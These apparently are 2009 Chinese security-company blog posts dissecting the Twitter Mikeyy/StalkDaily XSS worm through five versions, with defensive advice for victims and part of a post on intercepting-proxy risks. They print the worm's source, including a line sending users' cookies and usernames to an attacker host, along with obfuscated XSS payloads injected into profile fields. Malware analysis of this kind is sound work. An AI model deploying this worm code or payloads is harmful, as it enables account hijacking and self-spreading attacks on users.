阿碼外傳-阿碼科技非官方中文 Blog

2009年4月14日

漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

(閱讀本文之前請先閱讀「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」)
在前幾波的Mikeyy蠕蟲攻擊結束後,平靜了不到一天,昨晚twitter上又出現第四代Mikeyy蠕蟲,twitter官網上宣布後,經過三小時努力,終於有效修改XSS跨網站(跨站腳本攻擊),停止了蠕蟲的散播。
上圖中,twitter先宣布:「謝謝各位的訊息,我們也知道第四代,並正努力解決問題」。三小時後,終於宣布:「我們相信情況已經控制住了,謝謝各位的耐心,我們會持續關注Mikeyy」。

昨天那篇的最後一句我們說:「twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。」結果不幸言中,昨晚Mikeyy蠕蟲之三代與四代(其實有五代)重現,造成另一波混亂,連TechCrunch也再度報導了一次(真難得一個資安事件連續兩天被TechCruch報導),並認為此事件會對twitter的聲譽造成嚴重的打擊。

我們觀察到的Mikeyy (StalkDaily)蠕蟲,其實有五個版本,後來的版本還用了特殊的混碼(obfuscation)。在這篇,我們第一次詳細地研究此蠕蟲。

[第一代Mikeyy(StalkDaily)]

第一代的蠕蟲沒有編碼,第78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊:


這根Mikeyy的說法,他並沒有偷盜使用者帳號,是不一樣的,事實上是有。另外,此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js,密碼也是回傳至mikeyylolz.uuuq.com。

第一代要攻擊弱點為「url」(web)與「location」等欄位之XSS(跨站腳本攻擊)漏洞:



此時受感染者會發出訊息包括:

randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";


[第二代Mikeyy(StalkDaily)]

第二代整隻經過自動工具兩層的混碼,真的很討厭。原始javascript(節錄):

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

脫第一層殼之後,可以看到(節錄):

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];

function XHConn(){
var _0x6687x2,_0x6687x3=false;
try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
catch(e) { _0x6687x2=false; }; }; };

此時由於mikeyylolz.uuuq.com被關閉,蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」,回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出,此時被感染的使用者,會被冒發下列訊息:

"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"

同時並可以看出,Mikeyy還是有偷使用者帳號與cookie,只是程式移到了wait()函式內。

此外,二代開始打不同的XSS(跨站腳本攻擊)弱點,包括「profile_background_tile」與「profile_link_color」等變數。

[第三代Mikeyy(StalkDaily)]

第三代與第二代大致上相同,唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉,故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」,並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。

一至三代共同點:
1. 皆會偷使用者帳號與cookie

一與二、三代不同點:
1. 一代無混碼,二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS(跨站腳本攻擊)弱點不同
4. 冒發之訊息不同

此三代twitter於星期天(亞洲時間)處理完畢並修正了XSS漏洞。

[第四代Mikeyy(StalkDaily)]

第四代於亞洲時間星期一晚上爆發,沒有編碼,主打「name」欄位的XSS(跨站腳本攻擊)弱點,該弱點當時twitter並未修復,蠕蟲再度快速擴散。此時特別的是,Mikeyy反正已經公開承認是蠕蟲他做的,也就不隱藏了,把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄:

randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

解出來為:

<script src="http://www.stalkdaily.com/ajax.js"></script>

第四代並將偷使用者帳號與cookie的程式移除了。

此時冒發的訊息為:

randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!! http://bit.ly/yCL1s";

[第五代Mikeyy(StalkDaily)]
很快地,Mikeyy散發出了第五代,此時亞洲也有使用者注意到了:



五代大致上與四代相同,唯加上了記錄使用者帳號的一行程式,但是跟一至三代不同,五代只記錄帳號,並未偷竊密碼,回報處也直接是「hxxp://www.stalkdaily.com/x.php」:

function wait()
{
var content = document.documentElement.innerHTML;

userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");

記錄被感染者帳號的「x.php」一開始時,會直接寫入http://www.stalkdaily.com/users.txt中,我們可以看到當時被感染的使用者帳號(目前twitter已經都處理完畢):



看到時,我決定跟Mikeyy打聲招呼,於是下了:「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...

可是reload users.txt,怎麼沒有出現呢?再下一次時,出現錯誤訊息:



原來Mikeyy改了x.php,不再寫到users.txt,改寫入mysql資料庫。

五代冒發之訊息只有一條:「Twitter, hire Mikeyy! (718)...」(推特,聘用Mikeyy!),後面是Mikeyy的電話,由於Mikeyy可能未成年,這邊就刪了。

[觀察]
觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中,twitter那時無法一下子把所有漏洞修完,故隔天讓四代與五代有機可乘

[建議被感染之使用者:]
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

作者 Wayne 為阿碼科技CEO

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」(本篇)
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

後記:
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja,昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼(變形)發表了第二篇關於Mikeyy蠕蟲之報告(前一天之報告在此):Twitter worm copycats,其中提及:這個手法跟我上星期介紹的變形手法如出一轍,他們在看SANS日誌嗎?
(are they reading the ISC diaries?)


這讓我想到之前我們寫的「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性」中,早在今年一月就率先分析該路由器蠕蟲之Teamfurry,在其最新的blog上指出,經過了三個月,PSYB0T已經有了演進,「應該是看到了Terry的blog」

非也,SANS的Bojan,錯了,Teamfurry的Terry,根據台灣某blogger,「駭客不會沒事看blog的」...

後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如上列。

繼續閱讀全文...

2009年4月12日

17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的

昨天晚上開始,twitter上以驚人的速度,不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了!」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告:




不久之後,twitter公佈,這是twitter的跨站腳本攻擊(cross-site scripting,XSS)漏洞所導致的,目前已經將漏洞修掉了:



事發初期,TechCrunch有報導(很少資安新聞能夠上TechCrunch),並有網友留言公開原始XSS蠕蟲之程式碼如下:

function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}

function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

function wait()
{
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);


這隻蠕蟲利用了twitter的XSS漏洞,感染twitter使用者profile的「location」或「web」欄位,寫入惡意javascript(來源:hxxp://http://mikeyylolz.uuuq.com/x.js)。這隻javascript一方面會已被感染之使用者帳號發出tweet,推「www.stalkdaily.com」這個網站,一方面則會在其他使用者瀏覽該profile時,成功感染並散播。

程式碼很短,我們來研究一下,重點從第73行開始。73-76行,利用regex找出該受害使用者之正確twitter帳號。78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊,以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位,插入惡意javascript,以感染其他使用者了。83行開始是一個wait()函式,要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session,應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時,都需要帶此變數。93-102行,內建了六個要以受害者名義發出之tweet,主要都是推「www.stalkdaily.com」這個網站,並隨機選一個tweet,準備發送。104行是實際的XSS攻擊碼,插入惡意javascript。106-109,四行的程式做了兩件事:a)透過twitter的HTTP POST介面,發出假tweet,以及b)同法,修改「web」,以便感染其他使用者。

我們複製該攻擊,並用paros觀察,確定可以成功,唯目前twitter已經將字串過濾,有效修補了此XSS漏洞:




這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號,並在該帳號之「web」欄位插入惡意javascript,並藉由該帳號發出一些吸引人之tweet,或開始跟隨別人。很多人會自動跟隨他們的跟隨者,所以你跟隨很多人之後,會自然有些人跟隨你,或至少會有人看一下你的profile,看看你是誰。一看你的profile,該使用者的「web」欄位就會被感染了,蠕蟲也就靠此散播。

根據網友在TechCrunch留言表示,該XSS漏洞於一星期前仍不存在,應該是最近twitter小幅改版造成的,沒想到很快就遭到利用。事發當初,StalkDaily於首頁上發表聲明,表示該站絕對與事件無關:



但是由於一下子感染太多人,一下子紙包不住火,很快地,StalkDaily的創辦人,17歲的Mikeyy Mooney就接受BNOnews採訪,承認是他寫的蠕蟲,同時也在網站登出了聲明:



報導中說,Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年,當時才19歲的Samy,也是寫了一隻類似(但較複雜)的蠕蟲,很快的在MySpace上散播,並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕,判三年緩刑與90天的社區服務。在OWASP US 2007會議上,OWASP有邀請Samy來演講,以下照片是演講完時Samy與阿碼同事討論的情形(上圖從左:阿碼Walter、Kuon、Jordan、Chris、Matt,白色衣服為Samy,下圖:阿碼Kuon送Samy一件armorize 31337 tshirt)。


Samy表示,那時他才19歲,為了跟女友打賭他可以在MySpace上擁有很多粉絲,將他設成英雄(Hero),但是又達不到,才突然想到不如寫隻程式作弊好了!當時Samy不懂資安,也不懂什麼是XSS弱點,只是稍微研究了一下MySpace,就發現有漏洞可以利用。蠕蟲出去後,很快地,Samy有了支持者,他們的profile上面加了一行:「Samy's my hero!(Samy是我的英雄)」。Samy得意了以後一想不對,這個蠕蟲的散播是exponential的,不是linear的,天哪!於是他趕快上MySpace,把自己的帳號刪除,但是結果發現MySpace說,帳號無法立即刪除,但是稍後會刪除。第二天起床,他連往自己的帳號,連不到,心想,好在好在,帳號刪除了,我沒事...但是結果連往女友的帳號,發現也連不上,後來發現所有朋友的帳號都連不上...原來MySpace當機了!Samy從此活在恐懼中,直到有一天,果然,他回家,就被秘密警察逮捕了。

Samy的並沒有被判很重的刑,因為他其實不懂資安,也沒有利用XSS弱點來偷別人的帳號,只是單純的把別人的帳號加了一行:Samy是我的英雄,並植入惡意javascript感染他人。當時他演講時,還是不能碰電腦的(只有工作時可以碰電腦),所以由OWASP工作人員幫他操作投影片。

這次Mikeyy Mooney比Samy更年輕,只有17歲,但是如果被逮捕,可能不一定這麼好過,因為程式碼中之地80行,明顯地是在偷他人的帳號與cookie,並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示,他是於一個星期前發現該XSS漏洞,並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時,他表示不確定,如果twitter的程式還不正確的處理變數,那就有可能。相對於那時純粹出於好玩而犯錯的Samy,Mikeyy的這些談話,加上剛才我在youtube上發現他之前就有把打其他站的過程上傳,我覺得...Mikeyy最好保重,我不認為法官會像Samy一樣處理Mikeyy,也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。

此外,根據蒐集的資料,Mikeyy後來也將該惡意javascript編碼,譬如以下tweet的回報:



解出來為content.ireel.com/xssjs.js,目前檔案還在,內容節錄如下:

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

單純16進位編碼,不是什麼特殊的混碼(obfuscation),解出來程式跟上面的大同小異。
此外,根據蒐集的資料,twitter很明顯地在不只一個欄位有XSS漏洞,而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。

結論:
1. 受感染之Twitter使用者會發出tweet,幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie(等同密碼)
3. 瀏覽受感染使用者之profile,就會被感染,並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞,並已經修復漏洞
5. 我們測試,攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有:
A. mikeyylolz.uuuq.com (已被停用)
B. content.ireel.com(還在)
C. omghax.uuuq.com(已被停用)
D. www.stalkdaily.com
E. bambamyo.110mb.com

建議被感染之使用者:
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞

作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友,我的中文twitter:http://twitter.com/waynehuang2
(以下為好友Jeremiah與RSnake(ha.ckers.org / sla.ckers.org)穿著「SAMY IS MY HERO(Samy是我的英雄)」Tshirt,於OWASP-WASC 2007與Samy的合照)

(來源:http://garrettgee.com


後記:Sans與F-Secure都出來講話了(連結),但是我們快一些 :)
後後記:不幸言中,Mikeyy四代與五代隔天爆發,見下一篇:「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節
後後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如下:

2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」(本篇)


繼續閱讀全文...

2009年4月4日

實際演練說明,你的路徑安全嗎?CERT: 攔截式代理伺服器有漏洞、SANS:小心你的路由器!


(本文中你將看到實際的演練,在真實的網路上,我們會示範如何藉由攔截式代理伺服器的漏洞,取得路由器與其他內網伺服器的管理介面與登入prompt。測試點不在台灣。)

這篇之中我們繼續討論路徑上之安全性,但開始之前,我們先做一下聲名。本文章宗旨在於探討在現今複雜之網路架構中之路徑安全性,內容與任何資安事件皆無關連性。三月初於台灣發生的大規模轉址事件,目前相關各單位與我們的結論大致一樣,我們的研究正確,TTL=7以下為攻擊發生點,但是TTL=7這台路由器並非屬於國內任何一家ISP所有。我們的研究一樣沒有指出責任歸屬,我們說過我們有興趣的是技術面。但是大家看到我們公佈的IP可能就開始猜測是哪家ISP。攻擊者位於路徑border沒有錯(就是不同ISP交會處),而在border上的路由器一般都有多個介面,各對應不同ISP所給的IP,我們從台灣trace,看到的介面IP會屬國內ISP沒有錯,但是並不表示此台路由器就歸國內ISP所管。事實上如果各位看我們當初traceroute畫面上的時間差就可以發現,TTL=7應該已經出台灣了,事後經過求證也如此。所以如果把矛頭轉向國內ISP並不正確。另外也不表示是路由器出問題,只確定是TTL=7那台路由器以下都有可能,但是絕不像其他專家所說,是ARP掛馬以及發生點位於網站端。當然我們也得知了,出問題之設備為網路設備但是非路由器,至於究竟是那個廠牌的什麼設備,這邊就不繼續討論了。我們的研究價值,主要不在於探討究竟是國內還是國外的ISP出問題,還是哪一家設備商的產品出問題,我們是在探討,究竟威脅存在於哪裡?駭客可以使用哪些技術?

那時根據我們的經驗,以及最近SANS,CERT以及各知名資安專家近期的研究,懷疑的威脅包括了:
(1). ARP 掛馬,發生於網站端
(2). 路由器出問題
(3). 路徑中的proxy出問題或cache被poison
(4). 其他L3或L4 switch出問題
(5). 流量被mirror到的其他地方(IDS、流量統計設備等)被ARP掛馬

但是後來經過種種實際的封包實驗與分析,先排出了(1),後來又排除了(2)與(5)。至於到底起因為何,由於後來事件不是我們調查的,我們不適合發表,只能說,事件發生點在TTL=7以下,但TTL=7已經不在台灣。ARP掛馬由於用在乙太網路上,唯一般人很容易接觸到的攻擊,但是資安專家看得面象要夠廣,並根據實際測試或證據來判斷威脅。2008開始,路徑上的威脅與研究都明顯增加,CERT、SANS、各資安研究員都不斷發表報告或警訊。會猜測是ARP掛馬,主要原因是ARP掛馬攻擊實在太氾濫了。但是同時,駭客要改網路設備的設定來mirror流量,其實並不難,若注意最近國外知名研究員,CERT,SANS都在說路由器怎麼被感染的。網路上攻擊形形色色,無時無刻在進行,駭客無時無刻在進步。由於種種ARP工具,隨處都抓得到,也隨處都能玩(有乙太網路就好),於是之後的直接反應就是,各種轉址綁架攻擊,都一定是ARP掛馬所致,而當我們說可能是路由器出問題,或路徑上其他設備出問題時,則表示不可思議,路由器怎麼被入侵?感染?有這種技術嗎?路由器可以mirror traffic?L4/L7 switch會被入侵?

[SANS: 小心你的路由器!]

的確,路徑上的種種設備,不是一般人容易接觸到的,我們也常覺得自己研究起來辛苦,跟在電信業上班,每天穿梭機房的工程師比起來,我們對於網路的熟悉度要弱很多...但是至少我們也摸了不少,見了不少,透過關係「借測」了不少,並且常做功課。因為如果覺得駭客只會乙太網路上的一些普遍的基本功,那就太小看駭客了。各位不知是否還記得2007年被判刑入獄的23歲路由器駭客Robert Moore的名言:「It's so easy. It's so easy a caveman can do it(太容易了,野人都會)」。Robert專門入侵VoIP路由器,然後販賣頻寬獲利,入獄前一共駭了15家VoIP ISP業者。他受訪時表示,大約45%到50%的VoIP業者的網路都是不安全的。最大的問題在哪?「我會說,85%的問題出在沒有設定好的路由器,很多設備都用了內定的密碼(I'd say 85% of them were misconfigured routers. They had the default passwords on them)」。「你不會相信網路上有多少路由器的密碼是"admin"或"Cisco0"」,他說。三月30日,SANS發佈警訊,標題是「小心你的路由器!(Watch your Internet routers!)」,報告中詳細介紹了剛發生的一個剛發生的路由器入侵事件(這裡指的是企業級路由器,非之前我們提的家用路由器感染事件),並說:「他連進來還沒五分鐘,已經建好一個tunnel回他家了(Barely five minutes after connecting, and he has configured a network tunnel back to his home base.)」。修改網路設備的設定,開tunnel,其實做過的人就知道,可能比執行zxarps還要容易,也不太會增加設備的loading,只是一般人不容易玩到就是了。

[CERT與SANS: 攔截式代理伺服器有漏洞]

2009年三月初,台灣與新加坡之間有流量被綁架,而由於二月底時,CERT針對攔截式代理伺服器有公佈警告:「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections(VU#435052)」 ,於是我們做了一些測試,並發現了路徑上的一些問題。後來根據我們做的種種測試與研究,我們的結論是,以下探討的「攔截式代理伺服器」漏洞,不太可能與轉址事件有關連。在事件過後,我們覺得當初做的研究仍有參考價值,故在週末抽空記錄一下當時的研究。我們這篇以探討技術為主,我們拿來實測的有弱點的proxy,依了解並不位於國內。

當初對CERT這篇有興趣,主要是CERT中列了許多大廠牌的代理伺服器,都還是有此問題,而我們記得此問題在2002年時就已經炒熱,沒想到事隔多年,問題並沒有改,而今年又吸引了研究人員的注意。我們先直接來看這個威脅究竟在講什麼。現在的網路環境複雜,不但有各家專做content delivery network(CDN)的廠商如AkamaiAmazon CloudFront等負責幫各大網站在世界各地提供資料,路徑中也有各式的攔截式代理伺服器(intercepting proxy)、透通式伺服器(transparent proxy)、L4/L7 switch等設備。對於常常出差的我們來說,常可以感受得出把資料放在CDN上的方便性。有使用類似技術的大站如Google、MySpace、Amazon或甚至BestBuy等,不論在哪裡(例如印度偏遠地區),當別的網站變成龜速時,這些架構於CDN上之網站,總是能維持相當的速度;網路不穩無法連回公司mail server時,就立刻感受gmail之好用。各地的ISP也為了降低長距離的流量,而建置了各式的L4/L7 switch,WCCP路由器,Web加速器(cache),代理伺服器等等。在方便之餘,也不禁讓我們想到,我們在網路上做這麼多事情時,我們的資料到底經過了誰?我們接收的資料又來自誰?譬如這次三月份台灣大規模轉址攻擊事件,其實我個人並不在意被轉址到惡意網站,反正我有很多保護措施(而且我們的工作本來每天就接觸許多惡意網站),但是攻擊者明顯可以看到我的流量,這是我很在意的。攻擊程式如果沒有解除,而只是不主動送假封包轉址,而改成監聽流量,那麼平時上網時之心理壓力就會倍增了。

